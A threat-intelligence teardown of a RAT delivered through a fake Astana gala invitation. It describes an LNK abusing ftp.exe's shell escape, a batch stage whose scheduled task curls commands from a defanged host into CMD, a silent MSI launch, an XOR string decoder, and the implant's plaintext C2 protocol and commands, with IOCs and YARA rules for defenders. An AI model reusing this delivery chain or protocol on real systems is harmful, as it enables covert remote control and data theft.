ROBERT / NADSEC THREAT INTELLIGENCE

OTP 123456 and a Snowy Village

Majlis 2026 Invitation RAT

Analysis: 1 October 2026 · Robert edition: 2 October 2026 · TLP:CLEAR
NADSEC-INTEL-2026-10-MAJLIS-TEARDOWN

1. EXECUTIVE SUMMARY

Welcome back to the Thunderdome. Today we are looking at the Majlis 2026 invitation archive.

Sometimes we analyze malware that pushes the boundaries of evasion and memory manipulation. Other times, we analyze malware that chains together Windows utilities in ways that make me want to walk into the ocean. The Majlis package falls firmly into the latter category.

We have seven files, two distinct command channels, and a delivery chain that recruits the Windows FTP client as a local shell launcher. The payload itself is a 32-bit C++ RAT wrapped in a hit-and-run MSI. It features a custom XOR decoder for its static strings, but completely forgets to encrypt its HTTP command traffic. It sends a file-transfer token borrowed from the most famous password in cinematic history. It also ships with a two-megabyte high-resolution photograph of a snowy village whose job description remains a mystery.

Let us dig into the telemetry and the disassembly to see exactly how this thing operates.

The punchline is that it does work. We extracted the RAT from the MSI and exercised the executable and installer in an isolated Windows 11 lab. All nine command types completed their tests. A downloaded file came back through the upload channel byte for byte, and the screenshot command captured and uploaded the lab desktop. Whatever we think of the luggage-password school of engineering, this is a functioning backdoor.

Who Sent the Goop, and Who Was Supposed to Click It?

We contacted Smelly at vx-underground after seeing the 1 October post, and he sent over the material analysed here. His source reported that it had slipped past their EDR and AV checks, including static scanning on VirusTotal. Smelly suspected a state-sponsored campaign. We have a working RAT and a suspicious invitation; we do not have an operator's name tag.

He tentatively identified the lure as an invitation to AmCham Kazakhstan's 2026 Gala. The event is real: AmCham's listing places it at the St. Regis Astana on 16 October 2026, with senior executives, government officials and diplomats among its audience. That makes Kazakhstan-connected business, government and diplomatic circles the apparent audience for the lure, rather than a confirmed list of recipients. Black tie, business cards, and a complimentary remote shell. Fucking lovely.

2. THE DELIVERY CHAIN

Our supplied seven-file .7z analysis bundle includes the recovered downstream stages. The original invitation described by vx-underground was a .rar containing just the JPEG and Internet Shortcut. The six component hashes listed in the post match our copies. Several files are wearing extensions that have absolutely nothing to do with their actual jobs. The entry point is Scanned Image.url, an Internet Shortcut pointing to file://rappellingaart[.]com@SSL/secure-docs/3. The original WebDAV entry resource was unavailable. The supplied shortcut and scripts reconstruct the intended sequence below; the Windows tests began with the local MSI and executable.

The next file is Scanned Document 2026.lnk.bin. This is a Windows Shell Link that borrows a Microsoft Edge icon. Its actual job is to target C:\Windows\System32\ftp.exe. It requests a minimized, inactive window and asks FTP to interpret icon.ico as a script (-s:icon.ico). That filename is relative to the launch directory; the supplied copy is named icon.ico.bin.

Delivery from the invitation shortcuts through the FTP shell escape to the two command channels
Figure 1. The supplied artifacts describe two command channels. The native EXE and local MSI were exercised in the lab; the original delivery sequence was reconstructed from the shortcut and script contents.

Abusing FTP to Run CMD

You might think an FTP script is going to log into a server and download a binary. That would make sense.

The 59-byte icon.ico.bin script does not contain a single FTP login or file transfer command. The first line uses the FTP interpreter's ! local-shell escape. It calls MORE to read \\rappellingaart[.]com@SSL\secure-docs\res.ico over WebDAV and passes that text directly into CMD. The second line just exits FTP.

They weaponized a file transfer client without performing a single FTP transfer. They summoned a network protocol binary exclusively to use its local escape hatch. FTP has been hired as a shell launcher. File transfers are apparently somebody else's department.

The 39-Minute Batch Script

That WebDAV payload (res.ico.bin) is a 361-byte batch script that sets up two completely independent routes for remote commands.

First, it creates a scheduled task named MicrosoftUpdates\updates88679. It uses a minute schedule with a multiplier of 39. Not thirty. Not sixty. Thirty-nine. Why 39 minutes? Maybe 40 felt too suspicious. The task reads C:\users\public\music\err.log and feeds it into CMD.

Second, it writes the command fetcher into that exact log file. It uses CURL to pull tasking from hxxp://gomescareerplans[.]com/docs/?vid=%computername%G and sends the server's response to CMD. My absolute favorite part of this is the literal G appended to the computer name. A literal G. Flawless telemetry tracking.

Finally, the script starts a quiet MSI installation from \\rappellingaart[.]com@SSL\secure-docs\Imp_Details.msi and displays a message using MSG.

The task options specify neither a SYSTEM account nor highest privileges. This is a 39-minute trigger, not an at-boot trigger. The update-themed name and the .log extension are the disguise: err.log contains a recurring fetch-and-execute instruction, not somebody's crash diagnostics.

Channel Destination What it carries
Scheduled script hxxp://gomescareerplans[.]com/docs/?vid=<computername>G Command text fetched by the 39-minute task defined in the script.
Native RAT hxxp://www.chestergreenfarming[.]com:80/peachforthevictory/ JSON commands and results, normally separated by 14-24 seconds of polling jitter.

The channels are independent: the task can fetch commands without the RAT, and the RAT has its own polling and transfer endpoints. The 14-24-second delay describes its normal main loop, not every HTTP request. Immediate results and exception paths make the capture busier than a metronome.

On 1 October, the WebDAV hostname failed DNS resolution. Two requests to the script-command endpoint returned HTTP 200 with empty bodies. We therefore recovered no additional remote stage from either host. The URLs tell us where the operators intended to serve material; the supplied files tell us what we could actually pull apart.

3. THE DEADBEAT MSI WRAPPER

The 633,856-byte Imp_Details.msi is just a delivery vehicle. It contains exactly one executable in its Binary table. Extracting that stream gives you a 574,976-byte file matching the standalone Binary.exe supplied in the case archive (SHA-256: 5d8df4c2d08cff5f1c0de8eab56e47ae543bd5c6d2ef04573f61ebb9fbc65716).

The execution mechanism relies entirely on a single custom action (_9AE88E99_8372_4458_9911_9EC626582345). It has an empty argument field and runs at execute-sequence position 5999. The condition NOT REMOVE~="ALL" skips complete removal; it does not restrict the action to a first installation. The action references Binary-table key _2E9D1C8BAC5D0F288E61BF5987C52203.

The action type is 194 (0xC2). That combines EXE-from-Binary-table type 2 with flags 0x40 and 0x80. The 0x80 flag requests asynchronous execution and 0x40 supplies continue/ignore-return behavior; together they let the installer finish without waiting for the executable. Windows Installer drops the executable, fires it up, and walks away without waiting for it to finish. The MSI's Registry table contains no entries. The MSI acts like a deadbeat dad, dumping the payload and immediately leaving the premises.

We extracted and inventoried all 20 MSI streams. The File, Registry, ServiceInstall, ServiceControl, Environment and Shortcut tables are empty. The single Media row has no cabinet, and there is no additional cabinet stream. Standard service and registry action names appear in the execute sequence, but empty tables do not magically become persistence. The payload-bearing mechanism is the executable custom action.

In the Windows run, that action produced C:\Windows\Installer\MSIE099.tmp. Its size and SHA-256 matched the extracted RAT. The payload ran as PID 8912 beneath the observed installer-service process; retained process identity, creation time and repeated hashing tied that process to the specimen. The installer client returned 0 while the RAT kept running. Product-state and checked uninstall entries showed no product registration.

The same run recorded 21 native-protocol polls against the lab server, each answered with empty next_data. No commands were queued in that experiment. The MSI had successfully launched the implant and left it phoning home, exactly as its custom-action flags promised. The separate controlled native run supplied the commands.

4. INSIDE THE NATIVE RAT

Binary.exe is a 32-bit native C++ GUI executable built with MSVC, Boost.Asio for networking, and nlohmann JSON 3.11.3. The version resource claims it is "Microsoft redistributables" with original filename ktvrsvc.exe and version 72.14.0.144. The preferred image base is 0x400000, and CRT startup eventually calls main at 0x40d470. Addresses in this report use that mapping. The five-section PE has no CLR directory or overlay; its resources hold version information and an execution manifest. The Microsoft-flavoured version strings are the file's chosen costume, not an authenticated publisher.

It is a compact backdoor built around one main polling loop and nine command handlers. Drive and directory results return through the normal HTTP polling channel. CMD and PowerShell jobs get separate worker threads. File transfers and screenshots use dedicated HTTP requests. No direct persistence routine was established in the reviewed EXE code; the scheduled task belongs to the supplied batch stage.

The Screen Door Decoder

The decoder at 0x40c780 applies a conditional XOR to hide static strings like the C2 domain, port 80, the HTTP paths, and the shell prefixes.

Recovering the static literals. Analyst pseudocode for 0x40c780; XOR instruction at 0x40c7ff.

decoded = copy(encoded_literal)
for each byte b in decoded:
    if b not in {0x00, 0x0a, 0x50, 0x5a}:
        b = b XOR 0x50
return decoded

They use a basic XOR 0x50, explicitly excluding four bytes. Those exceptions stay in place; the decoder does not strip them. Fine. But here is the funny part: they went through the trouble of writing this decoder to hide strings on disk, but command text in next_data and all outgoing JSON payloads are left in pure plaintext. They put a combination lock on a screen door.

The RAT identifies the host as username_computername. The helper at 0x40c560 pulls these via GetUserNameW and GetComputerNameW. This strings together the client_id for polling JSON and the ClientID header used in file transfers.

Plaintext HTTP and the Spaceballs Security Model

The network helper at 0x4082c0 opens a TCP connection via Winsock and Boost.Asio and manually concatenates an HTTP/1.1 request. Polling targets /peachforthevictory/ on port 80. Each POST supplies standard headers including Host, Content-Type: application/json; charset=utf-8, Content-Length, and Connection: close.

The outbound JSON contains client_id plus a property named for the current response: fdd, msg or sts. Startup sets that property to fdd with a null value. The outgoing envelope does not contain a fixed type/value pair; those fields belong to incoming commands. Polling identifies the host in JSON and does not add the transfer-only OTP and ClientID headers.

Here is an illustrative poll using a substitute hostname and lab identity. The request body is exactly 41 UTF-8 bytes:

POST /peachforthevictory/ HTTP/1.1
Host: c2.invalid
Content-Type: application/json; charset=utf-8
Content-Length: 41
Connection: close

{"client_id":"labuser_LABWIN","fdd":null}

An illustrative directory-listing command comes back inside this response:

{"next_data":"{\"type\":\"FDD\",\"value\":\"C:\\\\Lab\\\\Fixtures\"}"}

next_data is a string containing another JSON document. The network helper extracts the string; main parses it again. Both inner fields, type and value, must also be strings, and command labels are case-sensitive. Even GDR extracts and converts value before ignoring it for drive enumeration. Sending an object directly as next_data, or null as value, does not match the client's getters. JSON inside JSON: apparently one layer of escaping was not enough paperwork.

The outer response parser reads until socket termination, hunts for the first blank line to separate headers from the body, strips a UTF-8 BOM, and trims whitespace. If the server does not send a blank line, it blindly tries parsing the entire HTTP response as JSON.

Outer parsing disables exceptions: an invalid parse or a missing next_data member produces an empty command string. An existing member with the wrong type can still throw during extraction. The inner command parse uses exceptions. The helper checks non-EOF socket errors, but does not validate the HTTP status line before interpreting the body. There is no chunked-transfer decoder or application deadline in this receive path. A server that keeps the connection open can leave the client waiting.

Uploads go to /peachforthevictory/receive.php. The uploader at 0x40a500 reads the entire file into memory and slaps it into a multipart request. They use a fixed multipart boundary: ----Boundary43985743985798fjkfscxWW. The body contains one part named file, with a basename-derived filename and Content-Type: application/octet-stream.

Wait, it gets better. Every upload adds a hardcoded header loaded from a wide-string pointer at 0x479c6c. That header is OTP: 123456. This is a bespoke C++ implant using Boost.Asio, and the token it presents is the luggage combination from Spaceballs. The client sends the same token on downloads, alongside ClientID: username_computername.

The upload helper returns the raw HTTP response, but both callers discard it. Main therefore gets no server-acceptance decision from that response. A completed upload call is not the same thing as a checked acknowledgement.

Downloads use /peachforthevictory/send.php?file=<basename>. The command value gives the full local destination; only its basename selects the remote file. Both slash and backslash are recognized as separators. The UTF-8 basename is appended without percent encoding. The GET includes Host, OTP, ClientID and Connection: close.

The downloader at 0x40b050 requires the header/body delimiter, then searches the header region for the exact substring 200 OK. If it finds it, it writes all bytes after the delimiter to the destination. It does not parse the status line properly, strip chunked framing or verify the declared body length. This is an HTTP implementation held together by substring searches and optimism.

5. CAPABILITIES AND THE SCREENSHOT BUG

Main dispatches nine case-sensitive labels.

Label Value and implementation Result channel
msg Command string, prefixed with the decoded CMD launcher and handed to a worker. Worker posts captured shell output under msg.
ms2 PowerShell command string, sent through the same worker after prefix construction. Worker posts captured PowerShell output under msg.
FDD Directory path, enumerated with FindFirstFileW/FindNextFileW. fdd directory array, posted immediately and retained for later polls.
UPP Local file path, read and sent as multipart data. Multipart upload to receive.php. No JSON status.
DWW Local destination path; its basename selects the remote file. File downloaded through send.php; parent directory refreshed as fdd.
DEL File path, passed through a CRT wrapper to DeleteFileW. Parent directory refreshed as fdd after the deletion attempt.
RUN Executable path, supplied to CreateProcessW. sts string: success or failed from process creation.
GDR String value is required but unused; GetLogicalDrives selects C-Z roots. fdd array of drive roots C-Z.
SS1 Path string used in screenshot destination selection, then GDI/GDI+ capture. JPEG captured, then sent as a multipart upload to receive.php.

Directory records contain name, isDir, size and fmod. Names are UTF-8, isDir is boolean, and size combines the high and low file-size words into an unsigned 64-bit value. The enumeration skips . and ... Last-write FILETIME becomes local time formatted as YYYY-MM-DD HH:MM:SS. Drive records reuse the fields but put numeric zero in both size and fmod. The same key therefore carries a timestamp string in one response and a number in another. Anyone writing a parser gets that little present for free.

The filesystem handlers use listings as feedback rather than explicit operation statuses. The DWW command refreshes the destination's parent directory even if the HTTP header fails its acceptance test and absolutely nothing is written. DEL likewise refreshes the parent listing without checking the delete return. You have to interpret a refreshed fdd array by its contents because getting one back does not mean the preceding operation actually worked.

RUN is the dedicated success/failure response among these filesystem and launch handlers. sts:success means CreateProcessW succeeded, not that the new program completed successfully.

The Reply You Send Twice, and the Command Nobody Reads

Main keeps the current response between polls. Empty next_data leaves it alone, so the same directory listing or status can go out again. A nonempty command clears the response-type string and clears the JSON value according to its existing type: arrays become [], strings become "", numbers become zero, booleans become false and null remains null.

For FDD, the sequence is:

  1. A main-loop poll receives the command, clears the previous response and parses the inner JSON.
  2. The handler records the requested directory, enumerates it, and sets the response to fdd plus the listing.
  3. It immediately posts that listing through 0x4082c0, from call site 0x40e69d.
  4. It destroys the returned next_data at 0x40e6a2 without dispatching it, then takes the normal 14-24-second jitter path.
  5. The next main-loop poll sends the retained listing again. This is the reply path that can deliver another command.

Shell-output POSTs also discard returned tasking. Only replies to main-loop polls reach the dispatcher. A command tucked into an immediate result acknowledgement is ignored by this client. The server can speak; that particular caller has already left the room.

UPP and SS1 leave the cleared response in place after their transfer. If the previous result was a directory array, the next poll can therefore look like this:

{"client_id":"username_computername","":[]}

That empty property name is a consequence of the client's state handling. It is also a useful detail when reconstructing the exchange from traffic.

Shell Workers: Off You Go, Good Luck

The shell branches prepend cmd /c or powershell -c and share the callback at 0x40cd10. It creates an inheritable pipe and launches the assembled command line with CREATE_NO_WINDOW, routing stdout and stderr into the pipe. Main closes the worker-thread handle instead of joining it. Copied configuration and moved command data live in a heap-owned argument tuple until the worker finishes, so main's cleanup does not invalidate the job.

The worker closes the parent's write end and the child process/thread handles, then repeatedly reads up to 4,095 bytes until the pipe returns zero or fails. That is the read size, not a total output limit. It accumulates the output and posts it under msg, including for PowerShell.

The reviewed callback has no explicit output cap or execution deadline. A child or descendant that keeps the pipe open can occupy the worker while main continues polling. If process creation fails, the worker closes the pipe and returns without posting output. A worker-side std::exception abandons the attempt through cleanup; main's polling retry does not restart that shell job.

Command-level exceptions clean up and take the normal jitter path. The outer catch instead retries polling directly after transport or inner-command parse exceptions, bypassing that delay; startup initialization sits outside its scope. There is no explicit retry cap or normal shutdown command in the reviewed loop. These failure and blocking paths come from the code. The short test commands in the lab completed normally.

What Actually Happened on Windows

We used an isolated Windows 11 25H2 guest and a local HTTP replica on Kali. The configured C2 hostname resolved to that replica, which supplied inert commands and files. That let us match the client's requests to Windows process and file activity.

With nothing queued, the baseline produced 11 POST requests and 11 HTTP 200 responses. Each request had the guest's 45-byte client_id/fdd:null body, and each reply had empty next_data. Procmon independently recorded 11 successful TCP connections and sends from the specimen. Intervals ranged from 17 to 23 seconds, inside the recovered 14-24-second normal jitter.

Wireshark packet list showing eleven idle POST and response pairs
Figure 2. Idle polling against the local HTTP replica: 11 POST requests and 11 HTTP 200 responses, with no commands queued. Capture summary.

Then we exercised the command set:

Test Observed result
GDR / FDD Returned the guest's C:\ drive, then the fixture directory with a 23-byte alpha.txt and a subdir directory. Names, types, sizes and times matched an independent Windows reference.
msg / ms2 CMD and PowerShell returned their exact expected output markers. Procmon recorded the corresponding child processes; the x86 implant launched the observed shells from C:\Windows\SysWOW64\.
RUN Launched Notepad and returned sts:success. Parent Process Create and child Start/Exit records corroborated it. Windows resolved the launch to packaged Notepad beneath WindowsApps.
DWW / UPP Downloaded a 36-byte inert file to C:\Lab\Fixtures\received-from-lab.txt, then uploaded the same bytes. Procmon recorded the write and the file hashes matched.
DEL Removed the downloaded file. Procmon recorded successful SetDispositionInformationEx with FILE_DISPOSITION_DELETE and FILE_DISPOSITION_POSIX_SEMANTICS; the file disappeared and the listing returned to its original two entries.
SS1 Captured the desktop, wrote the ProgramData fallback and uploaded a valid JPEG. The path mistake is explained below.

The controlled sequence generated 29 HTTP requests: 26 polling or result POSTs, one download GET and two multipart uploads. The uploads were the test file and the screenshot. Nine commands do not mean nine requests; the immediate result posts and retained response state account for the extra traffic.

Wireshark filtering the file download and two multipart uploads
Figure 3. Filtering for send.php and receive.php isolates one download and two uploads from the controlled run: the test file and the SS1 screenshot. Capture summary.

The Screenshot Logic Bug

Let us look at the SS1 screenshot handler, which is a masterpiece of broken logic. This perfectly explains why a successful screenshot command drops the image in a completely unexpected location.

The handler takes your requested destination path, appends \ss.jpg, and then tests if that complete path is a directory.

SS1 tests the appended filename as a directory. The predicate at 0x407bd0 controls destination selection.

derived = UTF16(value) + "\ss.jpg"
if stat(derived) succeeds AND (st_mode & 0x4000) != 0:
    destination = derived
else:
    destination = "C:\programdata\ss.jpg"
capture JPEG to destination
if capture succeeds: upload destination

Now, Windows absolutely lets you name a directory ss.jpg if you really want to. But an operator is going to send a normal destination path, like C:\temp. The RAT appends \ss.jpg to it, creating C:\temp\ss.jpg. Then it asks the OS if that combined path is a folder.

For a normal destination directory, that final path is either absent or a file, so it does not pass the directory test.

The RAT shrugs and writes to its hardcoded fallback: C:\programdata\ss.jpg. It has checked the image path instead of the parent folder. Task failed successfully.

In our controlled run, the requested fixture path stayed absent and the ProgramData fallback was written and uploaded. The Windows file and received JPEG both measured 123,772 bytes, with SHA-256 d862e9a53f667e83cd3acfb12e45320138bcd36d7a0fb3d295a5ebbfb7dddea9. The received image decoded as 1024 x 768 RGB. Those are measurements of the transferred JPEG, not of the viewer screenshot below.

Guest viewer displaying the desktop image captured and uploaded by SS1
Figure 4. Desktop captured and uploaded by the RAT's SS1 command, displayed in the guest viewer. Edited presentation copy; the original capture and transfer record are preserved.

6. ANTI-ANALYSIS AND COMPILER NOISE

A short sandbox run can spend most of its observation window watching this thing take a nap. The first connection is deliberately delayed. Main hits a sleep helper at 0x41a3c0 three times, asking for 18 seconds, a random interval between 41 and 113 seconds, and another 5 seconds. That is 64 to 136 seconds of dead air before the first C2 attempt. Once it wakes up, it settles into a 14-24-second polling jitter. Setup and network overhead come on top of those requested sleeps. The sleep helper calculates a deadline and checks the clock until it is reached; the performance-counter references belong to that waiting mechanism.

The random delays come from a 624-word Mersenne Twister seeded through std::_Random_device/rand_s. Another distracting routine, 0x40d370, constructs and discards temporary strings; its result does not control dispatch or network state.

Do not let the imports fool you into thinking this is sophisticated. The three IsDebuggerPresent call sites sit in ATL initialization failure handling, CRT fatal-error reporting and invalid-parameter reporting. The CPUID sites belong to CPU-feature initialization. MSVC exception-handler continuations explain the apparent jump-and-return islands around main; their metadata and branch targets identify their purpose.

Those references are compiler-runtime machinery. The reviewed clock and host-name paths wait and construct the client ID; they do not apply a VM or analyst-hostname test. The native RAT ran in our VM without patches or VM concealment, and we found no application-level VM gate in the reviewed paths. The observed concealment is selective string XOR, misleading extensions, delayed startup and bouncing through Windows utilities.

Defender Antivirus was enabled during the Windows runs, including real-time and behavior monitoring, with signature version 1.437.1.0. The offline lab used direct elevated EXE/MSI launches. That tells us the recovered RAT executed under those conditions. It does not turn this run into a test of every enterprise EDR policy or the original download-and-click protections. An import list and an uneventful lab run are both terrible substitutes for the product's actual alert telemetry.

7. THE TWO-MEGABYTE VACATION PHOTO

The largest supplied file in this package is icon2.xz. Given the .xz extension and the context, you might assume this is an archive containing a secondary payload, a loader, or encrypted configuration data.

It is a 2,086,470-byte baseline JPEG (5,641 × 3,761 pixels).

Pillow verified its structure and decoded the full image successfully. The EXIF and XMP metadata describe a village beside a lake and snowy hills. I spent time walking the JPEG markers. JFIF, EXIF, XMP metadata, quantization and Huffman tables, the frame header, compressed image scan, and the end-of-image marker.

The compressed image scan starts at offset 3,789 and ends exactly two bytes before EOF. There are no appended bytes to carve out. Incidental two-byte MZ matches inside the compressed scan do not form executable headers. The structural checks found no embedded archive or valid PE, and no reviewed code path passes this image to a loader or decoder. The scan's high entropy is normal for compressed JPEG data. Its role in the package remains unclear.

They just shipped a 2MB vacation photo. Maybe they thought it would disrupt entropy scanners. Maybe they just think we need to get out more.

8. INDICATORS AND HUNTING

The most reliable detection opportunities rely on the clumsy transitions between these components.

For network hunting, you do not even need to break TLS because they did not bother using it.

The Rules You Can Actually Take Away

The package includes seven YARA rules. One identifies the exact RAT and MSI by hash. The structural PE rule combines the fixed multipart boundary, next_data, both transfer-header names and imports for CreateProcessW and BitBlt. The installer rule combines the product GUID with embedded protocol strings. The other four cover the task script, FTP script, Internet Shortcut and FTP-launching Shell Link.

Validation produced all eight expected sample/archive outcomes. The JPEG and unopened 7z did not match: extract the archive before scanning its members. Twelve installed-file controls and five synthetic near-matches produced no alerts. That is a useful local validation set, not a promise about every unrelated file on earth. The validation harness is included.

Use hashes to identify this build and the structural or behavioral combinations to investigate relatives. Temporary MSI filenames and task names can change. The process chain and plaintext protocol are harder to make disappear by renaming a file. The endpoint and network suggestions above are hunting guidance; the tested detection artifact here is YARA.

Specimen Identities

The domains are defanged below.

Host or address Role Path or context
rappellingaart[.]com WebDAV delivery /secure-docs/3; /secure-docs/res.ico; /secure-docs/Imp_Details.msi
gomescareerplans[.]com Scheduled command source /docs/?vid=%computername%G
www.chestergreenfarming[.]com:80 Native RAT C2 /peachforthevictory/; receive.php; send.php?file=
176.123.0[.]199 Address observed for the script host Resolved on 1 October 2026; historical observation, not a permanent association

Host Artifacts:

SHA-256 Inventory:

Artifact Bytes SHA-256
Official Invitation Majilis 2026 Gala Dinner.7z 2,340,789 24a751d37ae7b0ceb0958ee4c3a0bd3ecde8c13f63400e963aebc91c909f62f1
Binary.exe 574,976 5d8df4c2d08cff5f1c0de8eab56e47ae543bd5c6d2ef04573f61ebb9fbc65716
Imp_Details.msi.bin 633,856 4008c8f9e52d3e6fd7df4a980a9a78f46f2412ba2fda10a38aa92d338767c54c
Scanned Document 2026.lnk.bin 1,745 613b6569bd8a4cd75ab11ee9682dd690fabfb11d5c1103caf2ba086e006da034
Scanned Image.url 190 0457ad9cb2f0ecfabd7cf324d0af59ac7ce5e8ded5ea3619385c460139ed4577
icon.ico.bin 59 c27ca16248e04f6535ae3e6d1670d740b3884f0fa64935ddfd39faf712f4175d
icon2.xz 2,086,470 fec4f301a1be36a42ec27208e13b5d1d3d0bbe0f1ab47bbab863a7ca9923c571
res.ico.bin 361 f1060a81c9f68d6f3d23e28f2a1af50fa18ecb9b0a763ca5dcd4b294b6a3593c

Case Files and Supporting Records

The portable bundle includes the report, the figures, the YARA rules and these supporting records. The original specimens, raw packet captures and full disassembly remain in the Kali case archive. Earlier static notes record that stage of analysis; the completed runtime synthesis incorporates the later Windows results.

9. CLOSING THOUGHTS

This analysis leans on static disassembly and container inspection in Kali, combined with three isolated Windows 11 25H2 runs. A local HTTP replica fed harmless test commands to the implant, verifying exactly how this client behaves without recovering the operator's actual tasking.

Process Monitor, packet captures, Windows process records, and matching artifact hashes connect all observed effects directly to those runs. The original WebDAV entry and remote script/MSI copies were unavailable, so their historical contents and the victim's initial click sequence remain completely unknown. The portable case package contains the YARA rules, runtime screenshots, detection-validation results and detailed JSON records. The replica established how the recovered client behaves; it did not recover operator tasking or establish who ran the operation.

If you find this on your network, block the C2, clean up the scheduled task, and maybe save the village picture for your desktop background.

- ROBERT
  NadSec Threat Intelligence
  "I drink coffee so I don't strangle the firewall."